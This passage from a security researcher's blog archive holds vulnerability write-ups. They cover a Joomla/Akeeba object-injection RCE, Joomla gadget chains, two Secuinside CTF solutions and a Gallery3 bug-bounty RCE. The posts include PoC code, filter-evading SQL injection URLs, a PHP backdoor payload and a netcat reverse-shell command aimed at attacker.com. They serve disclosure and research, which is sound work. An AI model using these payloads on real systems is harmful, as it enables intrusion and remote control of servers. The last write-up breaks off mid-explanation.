			// ping task - realy does nothing!
			$timer = AKFactory::getTimer();
			$timer->enforce_min_exec_time();
			break;
		case 'startRestore':
			AKFactory::nuke(); // Reset the factory
		case 'stepRestore':
			$engine = AKFactory::getUnarchiver(); // Get the engine
			$observer = new RestorationObserver(); // Create a new observer
			$engine->attach($observer); // Attach the observer
			$engine->tick();
			...
			$retArray['files'] = $observer->filesProcessed;
			$retArray['bytesIn'] = $observer->compressedTotal;
			$retArray['bytesOut'] = $observer->uncompressedTotal;
			$retArray['status'] = true;
			$retArray['done'] = false;
			$retArray['factory'] = AKFactory::serialize();
			...
			break;
	}
}

After the update is prepared by the masterSetup(), we can start an update by setting the task parameter to startRestore or trigger the next step of the update by setting it to stepRestore. This API is used by AJAX requests to constantly check for the update status by reading the content of the later printed $retArray.

Since the AKFactory is under our control, we can manipulate its settings and data. It holds an AKUnarchiver object that is responsibe to extract files from a given archive file (ZIP, JPS, or JPA format). The AKUnarchiver is fetched in line 5597 and its next step is invoked in line 5600. The different formats are parsed in different classes and I will not cover the details here. The important thing is, that all these unpacking classes extend the class AKAbstractUnarchiver and inherit the magic method __wakeup() already introduced in step 2.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

If the PHP setting allow_url_fopen is enabled (which is the default) we can point to an external archive file that is then extracted to the destination directory of our choice. This way, an attacker can get remote code execution on the targeted web server, by extracting a PHP shell into the targeted Joomla installation from a ZIP archive on his web server. The injected AKFactory could look similar to the following PoC:

// very short, non-working PoC

class AKFactory {
	public function __construct() {
		$this->objectlist['AKUnarchiverZip'] = new AKUnarchiverZip;
		$this->varlist['kickstart.enabled'] = true;
		$this->varlist['kickstart.security.password'] = '';
	}
}

class AKUnarchiverZIP {
	public function __construct() {
		$this->archiveList[0] = 'http://myserver/exploit.zip';
		$this->addPath = '/var/www/joomla/';
	}
}

A remaining step is to find out the local document root path on the targeted web server where the PHP shell should be extracted to. While /var/www/ might be very common, different web server use different paths on different operating systems.

4. Path Disclosure

Due to the PHP object injection we can trigger fatal errors in the application to receive the document root path from an error message. However, this would require error reporting and displaying by PHP, which is often disabled in production environments.

The previously mentioned $retArray does not only contain the current status about the processed files added so far, but also the complete serialized AKFactory object (line 5607). It is printed json encoded to the HTML response page.

$json = json_encode($retArray);
// Do I have to encrypt?
$password = AKFactory::get('kickstart.security.password', null);
if(!empty($password))
{
	$json = AKEncryptionAES::AESEncryptCtr($json, $password, 128);
}

// Return the message
echo "###$json###";

The encryption can be bypassed again, if we use the PHP object injection to overwrite the kickstart.security.password setting in AKFactory with an empty password. One way to include the document root into the AKFactory is to set the kickstart.setup.destdir setting in our injected AKFactory object to an empty string. Then, the built-in function getcwd() will fill the destination directory with the current working directory of the script.

$destdir = self::get('kickstart.setup.destdir', null);
if(empty($destdir))
{
	$destdir = function_exists('getcwd') ? getcwd() : dirname(__FILE__);
}

This way, the full path of the script is added to the serialized AKFactory object in the HTML response and the document root can be obtained by the attacker. Also, if the restoration.php file is created naturally, it includes the destination directory of the update as setup parameter. It usually points to an installation directory within the document root.

5. Ping or CSRF (CVE 2014-7229)

One important last step remains for exploitation. The Akeeba Kickstart script will abort in the beginning if no restoration.php file exists. This file is created during an update, but is deleted again at the end of an update. This makes it difficult to exploit the issue, but not impossible.

An update lasts about 3 seconds. That means an attacker can constantly ping the targeted installation for an existing administrator/components/com_joomlaupdate/restoration.php file during an update period. If the administrator performs the update, the restoration.php file will exist long enough to carry out the attack. Note, that this attack would generate quite some log entries.

For Joomla!, there is an alternative. The following URL will create a valid restoration.php file persistently if opened by an administrator:

/administrator/index.php?option=com_joomlaupdate&task=update.install

Joomla! will attempt to start an update but cannot finish it because of missing parameters. Because no CSRF token is in place, the link can be used against logged-in administrators in a CSRF attack (e.g., Joomla article comment). Once the CSRF attack succeeded, the attacker can exploit at any time.

Summary

Joomla! 3.3.4 and various Akeeba Backup products are affected by a vulnerability that leads to remote code execution on the targeted web server. However, the attack requires social engineering against an administrator or repeatedly sent requests to the web server until an update is performed.

Joomla! and Akeeba Backup have released patches. It it is advised to update your software immediately and if possible, this time maybe not through Akeeba Kickstart ;). You may also want to check your web server’s access.log. I would like to thank Michael Babker (JSST) and Nicholas Dionysopoulos (Akeeba) for a very fast respond and patch time!

Timeline

[24.09.2014] – Asking for direct contact at JSST and Akeeba Backup
[24.09.2014] – Advisory + PoC disclosure to both vendors
[24.09.2014] – Patch provided by Akeeba Backup for review
[29.09.2014] – CVE-2014-7228 and CVE-2014-7229 assigned
[30.09.2014] – Security updates for affected Akeeba products released
[30.09.2014] – Joomla! 3.3.5 released
[01.10.2014] – Joomla! 3.3.6 released


Joomla! 3.0.2 POI (CVE-2013-1453) – Gadget Chains

October 3, 2014

I am still developing a new prototype for the precise static code analysis of PHP applications as part of my PhD research. Recently, I added the detection of second-order vulnerabilities and the analysis of exploitable gadget chains for PHP Object Injection (POI) / unserialize vulnerabilities.

In the evaluation of the latest paper, we tried to detect known POI vulnerabilities from CVE entries as well as new POI vulnerabilities with the new RIPS prototype. On request, I am publishing the detected gadget chains for CVE-2013-1453. Please note, that these chains do not impose new security risks to the latest Joomla! version and are only overlooked ways of exploitation for an old vulnerability.

The details of the POI vulnerability in Joomla! 3.0.2 are explained by Egidio Romano. With the support of object-oriented code the new RIPS prototype could detect this vulnerability successfully. Once a POI is found, its severity is defined by the available gadget chains an attacker can use for exploitation. RIPS is capable of analyzing possible chains automatically. The details for two gadget chains were manually found and published previously. Next to these two chains, RIPS detected another 3 chains. Two of them I found quite interesting.

Autoloaded Local File Inclusion

The most useful initial gadget in Joomla! 3.0.2 is the __destruct() method of the class plgSystemDebug. It calls the method isAuthorisedDisplayDebug() which then calls the method get() on the object in the property params. Because this property is under the attackers control he can deligate the control flow to any get() method defined in Joomla’s classes by instantiating an object of the class of choice in the property params.

// plugins/system/debug/debug.php

class plgSystemDebug
{
	public function __destruct()
	{ 
		if (!$this->isAuthorisedDisplayDebug())
		{
			return;
		}
	}

	private function isAuthorisedDisplayDebug()
	{
		$filterGroups = (array) $this->params->get('filter_groups', null);
		...
	}

The get() method in JInput can be used to trigger a file deletion and the method in JCategories triggers a blind SQL injection. Lets have a look at the get() method of the class JViewLegacy:

// libraries/legacy/view/legacy.php

class JViewLegacy
{
	public function get($property, $default = null)
	{
		if (is_null($default))
		{
			$model = $this->_defaultModel;
		}
		else
		{
			$model = strtolower($default);
		}

		if (isset($this->_models[$model]))
		{
			$method = 'get' . ucfirst($property);

			if (method_exists($this->_models[$model], $method))
			{
				...
			}

		}
	}
}

While easily overlooked in manual audits, built-in functions such as method_exists() and class_exists() are configured in RIPS as conditional sensitive sinks. If their first argument is controlled by an attacker and a vulnerable autoloader was detected, a security vulnerability report is issued. The reason for this is that these built-in functions automatically invoke any defined autoloader, as noted in the PHP manual for method_exists():

"Note: Using this function will use any registered autoloaders if the class is not already known."

A autoloader is considered to be vulnerable, if the class name in the first parameter is not sanitized before it is used in a sensitive sink (commonly a file inclusion). Then, a tainted argument of method_exists() can reach this sensitive sink when the autoloader is invoked with it. This works for PHP 5.1.0 – 5.4.23 and PHP 5.5.0 – 5.5.7 and was patched in PHP 5.4.24 and 5.5.8, where only alphanumeric class names invoke the autoloader.

Joomla! 3.0.2 defines two autoloaders:

spl_autoload_register(array('JLoader', 'load'));  
spl_autoload_register(array('JLoader', '_autoload')); 

The autoloader JLoader::load() basically looks up the class name in a static list of classes. The autoloader JLoader::_autoload() is able to dynamically include classes. If the class name starts with the prefix letter J, the class file is looked up within the method _load() in the base directories libraries/joomla/, libraries/legacy/, and libraries/cms/. Subdirectories are determined by splitting a camel cased class name at its uppercase letters.

// libraries/loader.php

abstract class JLoader
{
	private static function _load($class, $lookup)
	{
		// Split the class name into parts separated by camelCase.
		$parts = preg_split('/(?<=[a-z0-9])(?=[A-Z])/x', $class);

		foreach ($lookup as $base)
		{
			$path = $base . '/' . implode('/', array_map('strtolower', $parts)) . '.php';

			if (file_exists($path))
			{
				 include $path;
			}
		}
	}
}

For example, the unknown class JFooBar will result in the following three autoload lookups:

libraries/joomla/foo/bar.php
libraries/legacy/foo/bar.php
libraries/cms/foo/bar.php

Thus, a lookup of the class J../../../../../../etc/passwd%00 in method_exists() can be triggered through this gadget chain. For this purpose the payload has to reside as default model in the models array of the JViewLegacy object.

// PoC

class JViewLegacy {
	protected $_defaultModel;
	protected $_models = array();
	public function __construct() {
		$this->_defaultModel = 'rips';
		$this->_models['rips'] = "J../../../../../../etc/passwd\x00";
	}
}

This will successfully launch a path traversal attack with null byte injection in Joomlas autoloader and include the local /etc/passwd file (PHP 5.1.0 – 5.3.3). Note, that directly unserializing an object of this class name would not work, because unserialize allows only alphanumeric class names in a serialized string (it does work in PHP 5.0.0 – 5.0.3 though).

File Permission Modification

A less severe and at first sight straight-forward chain was reported in the class JStream. Its __destruct() method calls the method close(), which calls the method chmod(). It allows to change the file permissions of an arbitrary file defined in the filename property to the rights defined in the filemode property (line 43). One could also trigger a connection string injection through JFilesystemHelper::ftpChmod() for SSRF exploitation in line 39 but we ignored this in our evaluation (update: this can also be used for DoS).

// libraries/joomla/filesystem/stream.php

class JStream
{
	public function __destruct()
	{
		if ($this->fh)
		{
			@$this->close();
		}
	}

	public function close()
	{
		if ($this->openmode[0] == 'w')
		{
			$this->chmod();
		}
	}

	public function chmod($filename = '', $mode = 0)
	{
		if (!$filename)
		{
			$filename = $this->filename;
		}

		if (!$mode)
		{
			$mode = $this->filemode;
		}

		$sch = parse_url($filename, PHP_URL_SCHEME);

		switch ($sch)
		{
			case 'ftp':
			case 'ftps':
				$res = JFilesystemHelper::ftpChmod($filename, $mode);
				break;

			default:
				$res = chmod($filename, $mode);
				break;
		}
	}
}

Interesting about this chain is the exploitation. Although it seems straight-forward, the class JStream is not loaded by default. RIPS reported this chain nonetheless because it detected an autoloader. What RIPS does not know (and cannot reason about) is that the autoloader does not work for the class name JStream because it resides in /libraries/joomla/filesystem/stream.php. Thus, the correct class name of JStream for the autoloader should be JFilesystemStream. However, because the autoloader does not find libraries/joomla/stream.php, the class is not included and the unserialize() fails. For successfull exploitation, one has to somehow fix the autoloader.

My first idea was to abuse the previously introduced POP chain to trigger a method_exists() call on the string “JFilesystemStream”. This would invoke the autoloader to correctly include JStream and the application would be able to unserialize another injected JStream object. However, there is a much simpler solution:

// PoC

class JFilesystemStream {
}

class JStream {
	protected $fh;
	protected $openmode;
	protected $filename;
	protected $filemode;
	public function __construct() {
		$this->fh = true;
		$this->openmode[0] = 'w';
		$this->filename = '/tmp/rips';
		$this->filemode = 0777;
	}
}

echo base64_encode(serialize(array(array(new JFilesystemStream, new JStream))));

We simply create a fake object of the non-existing class JFilesystemStream in an array before our actual JStream object. During deserialization the class name JFilesystemStream will invoke the autoloader for us first and resolve the correct file for the JStream class. Then, our weaponized JStream object will be loaded successfully. The class JFilesystemStream does not exist and the first unserialized object will be of type __PHP_Incomplete_Class. This would trigger a catchable fatal error in the application flow after the POI which can be avoided by using a multi-dimensional array. At the end, the __destruct() method of the JStream class is successfully triggered and the chain is executed to change the file permissions.

Directory Creation

The third chain in our report leverages a call to a different get() method when injecting a plgSystemDebug object. It allows to create arbitrary directories in the file system. Note, because of the low severity, we grouped this chain and the previous chain to the generic name Filesystem Manipulation. The name of the exploited class JCacheStorageFile fits to its file path such that no autoloader tricking is neccessary.

// libraries/joomla/cache/storage/file.php

class JCacheStorageFile {

	public function get($id, $group, $checkTime = true)
	{
		$path = $this->_getFilePath($id, $group);
		...
	}

	protected function _getFilePath($id, $group)
	{
		$name = $this->_getCacheId($id, $group);
		$dir = $this->_root . '/' . $group;

		if (!is_dir($dir))
		{
			$indexFile = $dir . '/index.html';
			@ mkdir($dir) && file_put_contents($indexFile, '');
		}
	}
}

One could argue about the severity of this chain, but as I will show in the next post and as demonstrated earlier, it can be very handy to know about file system modifications. For example, the application might check if the installation directory is present and only then expose features that would not be exploitable otherwise. Thus, this chain was counted as true positive report in our paper.

The evaluation showed once again that precise static code analysis can be really helpful to point you to a vulnerability. However, the exploitation of the affected code path is often not as straight-forward as it seems.


Secuinside CTF 2013 writeup – The Bank Robber

May 26, 2013

This weekend I had a look at the secuinside CTF web challenges. As last year I really enjoyed them, thank you to the author. The Bank Robber was a website of a bank robber crew. It had two security vulnerabilities one had to identify and exploit step by step. First, a SQL Injection was exploited to read the applications source code. Then the source code was analyzed for a File Disclosure vulnerability to read the flag file.

1. SQL Injection

A SQL Injection was located in the list of hacked bank websites that had a search feature. Next to a keyword, the search feature allowed to specify a type (NUM, ATTACKER, or URL) and there was obviously some URL rewriting going on. Searching for the keyword “asd” and the different types resulted in the following URLs:

http://1.234.27.139:61080/M.list.idx.asd
http://1.234.27.139:61080/M.list.url.asd
http://1.234.27.139:61080/M.list.attacker.asd

It turned out, that the type was the $column name in a SQL WHERE clause. Magic quotes was enabled so exploiting the keyword was not possible.

select * from hacked_list where $column like '%$word%' order by time desc

However, we could inject own SQL syntax into the query via column name. We used a hash tag to cut off everything behind our injection.

http://1.234.27.139:61080/M.list.idx=(1)and(1)%2523.1
http://1.234.27.139:61080/M.list.idx=(1)and(0)%2523.1

Note that we had to use double urlencoding because of some redirecting. Extracting data via UNION SELECT or a subselect did not work because there was some filtering going on.

1.1 Filter Evasion

After I while I tried to read files with load_file(). To my surprise it seemed to work, but the length of the /etc/passwd file I was trying to read was 11 characters.

http://1.234.27.139:61080/M.list.idx=(1)and(length(load_file(0x2F6574632F706173737764))=11)%2523.1

Reading the content char by char revealed that I just accessed the string /etc/passwd I passed as argument to load_file(). It turned out, that the string load_file was replaced with an empty string. That helped a lot to evade the filter, because unload_fileion will then be replaced to union. I used multi-line comments /**/ to avoid spaces and placed the string load_file into every keyword I assumed filtering. Now I could form a UNION SELECT and read all databases, tables, and columns:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,schema_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252eschemata%2523.1
information_schema,BHACK_DB,test
http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,table_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252etables%2523.1
hacked_list,_BH_layout
http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,column_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252ecoluload_filemns%252f**%252fwload_filehere%252f**%252ftaload_fileble_name=0x6861636B65645F6C697374%2523.1
hacked_list: idx,url,attacker,time
http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,column_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252ecoluload_filemns%252f**%252fwload_filehere%252f**%252ftaload_fileble_name=0x6861636B65645F6C697374%2523.1
_BH_layout: idx,layout_name,position,path

The table hacked_list could already be read through the application and the table _BH_layout contained the following entries:

idx	path						layout_name	position
1	./book_store_skin/head.html	1			head
2	./book_store_skin/foot.html	1			foot
3	./reverted/h.htm			2			head
4	./reverted/f.htm			2			foot

There was only one database and no flag in any table, so I tried to read files again.

When I looked at the source code of the application later on, I noticed that a simple unIoN would have been enough to evade the case-sensitive filter:

function filtering($str){
 	$str = preg_replace("/select/","", $str);
 	$str = preg_replace("/union/","", $str);
 	$str = preg_replace("/from/","", $str);
 	$str = preg_replace("/load_file/","", $str);
 	$str = preg_replace("/ /","", $str);
 	return $str;
 }

1.2 Find/Read Source Code

First, I tried to load the /etc/passwd file, this time with loadload_file_file because the string load_file is deleted by the filter once, leaving another load_file:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F6574632F706173737764%29,4%2523.1

It worked. The /etc/passwd contained the following line:

www-data:x:33:33:www-data:/var/www:/bin/sh

Because there was some URL rewriting, I assumed a .htaccess file in the DocumentRoot. However, I could not access /var/www/.htaccess or any other file in /var/www/. The DocumentRoot must be somewhere else. Next, I tried to read the webserver’s configuration files. After a look at the list of default layout for Apache I found Apache’s configuration file in the default location /etc/apache2/apache2.conf for ubuntu. However, no DocumentRoot was specified. Further, I read the file /etc/apache2/ports.conf and finally /etc/apache2/sites-available/default where I found the DocumentRoot:

DocumentRoot /site

Now I could read the /site/.htaccess file that revealed the URL rewriting and the PHP file:

ReWriteEngine On

ReWriteRule ^$ ./Main_Site/TBR.php
RewriteRule ^layouts\/(.+) ./Main_Site/layouts/$1
ReWriteRule ^[M]\.([a-zA-Z]+)\.(.+)\.(.+)$ ./Main_Site/TBR.php?_type=M&_act=$1&column=$2&word=$3
ReWriteRule ^[P]\.home\.([12]) ./Main_Site/TBR.php?_type=P&_act=home&_skin=$1

ReWriteRule ^[P]\.([a-zA-Z]+)$ ./Main_Site/TBR.php?_type=P&_act=$1
ReWriteRule ^[M]\.([a-zA-Z]+) ./Main_Site/TBR.php?_type=M&_act=$1

Finally, I could read the source of the application located at /site/Main_Site/TBR.php with the following request:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F736974652F4D61696E5F536974652F5442522E706870%29,4%2523.1

2. File Disclosure

On top of the file /site/Main_Site/TBR.php a hint is given where the flag file is located:

/*
:: HINT ::
root@ubuntu:/var/lib/php5# pwd
/var/lib/php5
root@ubuntu:/var/lib/php5# ls -l FLAG
-r--r----- 1 root www-data 32 May 25 17:26 FLAG
root@ubuntu:/var/lib/php5#
*/

It tells us that we cannot read the flag file /var/lib/php5/FLAG with the SQL Injection because MySQL runs with a different user and the file is only readable to the user root and www-data. So we need to exploit the PHP script running with www-data. Lets analyze the script TBR.php.

2.1 Code Analysis

First, the application initializes some important paths in $_BHVAR:

$_BHVAR = Array(
	'path_layout'	=>	'./layouts/',
	'path_lib'	=>	'./lib/',
	'path_module'	=>	'./modules/',
	'path_page'	=>	'./pages/',
	'path_tmp'	=>	'./tmp/'
);

Then, it simulates magic_quotes_gpc=on and register_globals=on:

if(!get_magic_quotes_gpc()){ /* escape all GPC superglobals */ }
if(!ini_get("register_globals")) extract($_GET);

At this point we can overwrite any previously declared variable, namely the $_BHVAR array and its elements because extract will register any GET parameter as variable in the global scope. For example, the key $_BHVAR[‘path_layout’] can be overwritten by using the following URL:

http://1.234.27.139:61080/Main_Site/TBR.php?_BHVAR%5Bpath_layout%5D=foobar

Now lets see what we can do with this. The script includes two more files:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";

We cannot trigger a RFI because allow_url_include=off and we cannot set the $_BHVAR[‘path_lib’] path to our FLAG file because a filename is appended. A nullbyte injection is prevented because magic_quotes_gpc=on. Lets move on.

The first included file database.php contains the MySQL connection credentials:

<?php
 if(!defined('__BHACK__')) exit();
 $_BHVAR['db'] = Array(
 	'host'	=>	'localhost',
 	'user'	=>	'bhack_db',
 	'pass'	=>	'bhack_p4zz',
 	'name'	=>	'BHACK_DB'
 );
?>

The included file functions.php contains the db_conn() and get_layout() functions that are used in the following:

function db_conn(){
 	global $_BHVAR;
	mysql_connect($_BHVAR['db']['host'], $_BHVAR['db']['user'], $_BHVAR['db']['pass']);
	mysql_select_db($_BHVAR['db']['name']);
 }

 function get_layout($layout, $pos){
	$result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");
	$row = mysql_fetch_array($result);
	if (!isset($row['path'])){
		if ($pos = 'head'){
			return "./reverted/h.htm";
		} else {
			return "./reverted/f.htm";
		}
	}
	return $row['path'];
 }

Next, the application establishes a MySQL connection with the function db_conn() and reads the header file name for the current layout from the database. Finally, it prints the content of the header file to the HTML response.

$_skin = $_SESSION['skin'];

db_conn();
$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

We want to achieve that the variable $head contains the string /var/lib/php5/FLAG to print the FLAG file instead the HTML header file. Again, we cannot use $_BHVAR[‘path_layout’] because we cannot truncate the appended layout filename with a nullbyte. However, we can empty the path $_BHVAR[‘path_layout’]. Next, we need to find a way that get_layout() returns our FLAG file name. A SQL Injection is prevented by magic_quotes_gpc=on.

2.2 Redirecting the MySQL server

The trick is to let the application connect to our own MySQL server that returns a different HTML header filename, namely the path to our flag file. Lets have a look at the source code again:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";
$_skin = $_SESSION['skin'];

db_conn();
$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

First, we overwrite $_BHVAR[‘path_lib’] so that the include of the database credentials fails. Then, we can register our own database credentials through register_globals. We leave the $_BHVAR[‘path_module’] as it is, so the include of the functions will not fail. Then, the function db_conn() will connect to our remote MySQL server. Next, we overwrite $_BHVAR[‘path_layout’] with an empty string and make sure that our MySQL database returns the path to the flag file as layout file when retrieved with get_layout().

For this purpose, we setup the following MySQL database on our remote server 1.2.3.4 listing on the default port 3306:

create database BHACK_DB;
grant all privileges on BHACK_DB.* to bhack_db identified by 'bhack_p4zz';
use BHACK_DB;
create table _BH_layout (idx INT, layout_name VARCHAR(255), position VARCHAR(10), path VARCHAR(255));
insert into _BH_layout VALUES (1, '1', 'head', '/var/lib/php5/FLAG');

And finally we can trigger the redirect. We let the include of the original MySQL credentials fail, inject our own MySQL credentials and empty the prefix of the header file name:

http://1.234.27.139:61080//Main_Site/TBR.php?_BHVAR%5Bdb%5D%5Bhost%5D=1.2.3.4&_BHVAR%5Bdb%5D%5Buser%5D=bhack_db&_BHVAR%5Bdb%5D%5Bpass%5D=bhack_p4zz&_BHVAR%5Bdb%5D%5Bname%5D=BHACK_DB&_skin=1&_BHVAR%5Bpath_layout%5D=&_BHVAR%5Bpath_lib%5D=foobar&_BHVAR%5Bpath_module%5D=modules/

Then the location of the flag file is returned from our remote database and the flag is printed as HTML header:

@_Y0UR_EY3_LEE_SIN_@

Thanks again to the author of this cool challenge!


Gallery Project 3.0.4 BugBounty: Remote Code Execution (admin)

March 6, 2013

The Gallery Project is a photo album organizer written in PHP which is part of a BugBounty program. When launching the Gallery3 web application it is checked whether the configuration file /gallery3/var/database.php is present. If not, the installation routine is initiated which in the end creates this configuration file. Otherwise the application launches normally.

During the installation process it is possible to inject arbitrary PHP code into the database config file, leading to Remote Code Execution (RCE) on the target web server. For successful exploitation by an remote attacker it is required that the installation routine has not yet been completed on the web server.

However, another vulnerability in the administrator interface allows to delete arbitrary files. Thus, it is possible for an administrator to delete the database.php file with this second vulnerability, redo the installation, and inject a PHP backdoor with the first vulnerability. A XSS vulnerability (also reported in this release) can be used to gain admin privileges.

user —XSS—> admin –FILEDELETE–> installer —RCE—> shell

Vulnerability 1 – Code Execution

In /gallery3/installer/web.php line 35 and the following the $config values are filled with data supplied by the user:

$config = array("host" => $_POST["dbhost"],
                "user" => $_POST["dbuser"],
                "password" => $_POST["dbpass"],
                "dbname" => $_POST["dbname"],
                "prefix" => $_POST["prefix"],
                "type" => function_exists("mysqli_set_charset") ? "mysqli" : "mysql");

To avoid code injection, single quotes within the password are escaped in /gallery3/installer/web.php line 44:

    foreach ($config as $k => $v) {
      if ($k == "password") {
        $config[$k] = str_replace("'", "\\'", $v);
      } else {
        $config[$k] = strtr($v, "'`", "__");
      }
    }

The database credentials are then used to setup the Gallery3 database and if everything worked well, the credentials are copied into the configuration file template (/gallery3/installer/database_config.php) which uses single quotes around the credential strings.

$config['default'] = array(
  'benchmark'     => false,
  'persistent'    => false,
  'connection'    => array(
    'type'     => '<?php print $type ?>',
    'user'     => '<?php print $user ?>',
    'pass'     => '<?php print $password ?>',
    'host'     => '<?php print $host ?>',

A single quote in the password will be replaced to \’. However, if an attacker injects a backslash followed by a single quote \’ the resulting string is \\’. Now the backslash is escaped, leaving the single quote unescaped.

With this trick it is possible to break out of the single quotes and inject malicious PHP code into the /gallery3/var/database.php configuration file. This file is included by the Gallery3 core application which will execute the injected PHP code on every visited subpage.

To exploit the vulnerability an attacker can create a MySQL user on an external server with the following password:

\\',"f"=>system($_GET[c]),//

During the installation process he specifies his external MySQL server and enters the following password:

\',"f"=>system($_GET[c]),//

Due to the escaping a backslash is added to the password, transforming it to a valid database credential and the database configuration file will contain the following backdoored PHP code:

$config['default'] = array(
	'benchmark'	=> false,
	'persistent'	=> false,
	'connection'	=> array(
		'type'	=> 'mysqli',
		'user'	=> 'reiners',
		'pass'	=> '\\',"f"=>system($_GET[c]),//',
		'host'	=> 'attacker.com',

Then the attacker sets his MySQL password to \\ to not break the application and is now able to execute arbitrary PHP code on the target webserver.

RCE in Gallery3

RCE in Gallery3

This bug was rated as moderate/major by the Gallery3 team and was rewarded with $700.

Vulnerability 2 – Arbitrary File Delete

Because an uninstalled instance of Gallery3 is unlikely to be found, an attacker is interested in deleting the database.php configuration file to gain access to the vulnerable installer again. A vulnerability that allows to delete any file on the server was found in the Gallery3 administration interface.

The Watermark module is shipped by default with Gallery3 and can be activated in the modules section of the administration interface. After a watermark image file has been uploaded, the name of the watermark image file can be altered in the advanced settings section. The altered file name is used when deleting the watermark image file again. The delete function of the watermark module in /modules/watermark/controllers/admin_watermarks.php suffers from a Path Traversal vulnerability in line 70:

  public function delete() {
    access::verify_csrf();

    $form = watermark::get_delete_form();
    if ($form->validate()) {
      if ($name = module::get_var("watermark", "name")) {
        @unlink(VARPATH . "modules/watermark/$name");

Here, the altered $name of the image file is used unsanitized. To delete the configuration file a malicious administrator can change the watermark image file name to ../../database.php and delete the watermark file. Further, log files and .htaccess files can be deleted.

This bug was not rated as a security bug by the Gallery3 team. Although I did not endorse this rating I think this vulnerability helped to improve the rating of vulnerability 1.

Bonus

The Gallery 3.0.4 packager uses the MySQL database credentials provided during installation unsanitized in a shell command. An attacker who is able to enter/change the database credentials can inject arbitrary shell commands which will be executed on the target web server if the packager is locally executed later on.

In /gallery3/modules/gallery/controllers/packager.php line 97 the following command is executed to dump the database:

    $command = "mysqldump --compact --skip-extended-insert --add-drop-table -h{$conn['host']} " .
      "-u{$conn['user']} $pass {$conn['database']} > $sql_file";
    exec($command, $output, $status);

However, the database credentials supplied by the user on installation are used unsanitized in the shell command, allowing arbitrary command execution. A malicious admin can use vulnerability 2 to gain access to the installer and specify the following database password (not affected by escaping):

1 ;nc attacker.com 4444 -e/bin/bash;

If the password is valid on a specified remote MySQL server the password is written to the database.php configuration file. Once the packager is executed with the local shell command php index.php package later on, the following command is executed by the application:

mysqldump --compact --skip-extended-insert --add-drop-table -hattacker.com -ureiners -p1 ; 
nc attacker.com 4444 -e/bin/bash;

The attacker listens on port 4444, receives the remote shell connection and is able to execute arbitrary commands on the target web server. However, a local administrator has to execute the packager command on the target web server which requires social engineering. This bug was rated as minor by the Gallery3 team and was rewarded with $100.

All bugs were found with the help of RIPS and are patched in the latest Gallery 3.0.5 release.


Project RIPS v0.54 – Status

February 1, 2013

I just updated RIPS and fixed some JavaScript errors that came up due to the latest browser updates (thank you for the reports). You can download it here. Now the code viewer and other window features should work again. At the same time I am announcing that the current version of RIPS will not be enhanced. The current engine does not allow further enhancement and suffers from bad language parsing. This leads to an inacceptable rate of false positives. Further, the current engine can not be extended to support OOP.

The good news is that I have rewritten RIPS completely during the past 6 month during my final master thesis at the Ruhr-University Bochum. RIPS 1.0 now uses Abstract Syntax Trees, Control Flow Graphs, and Context-Sensitive String Analysis doing it the academic way ;). The result looks very promising, but its worthless to share any results/numbers without sharing the tool. It is still under development and a release date is unknown, but already in its current state it is way better than RIPS 0.5. In the end, full OOP support is planned. Any updates will be released here or via twitter.

The project continues … =)


Secuinside CTF writeup SQLgeek

June 12, 2012

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

if($_GET[view])
{
	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
	if(strlen($_GET[view])>17) 
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	...
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");
}

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:

/index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:

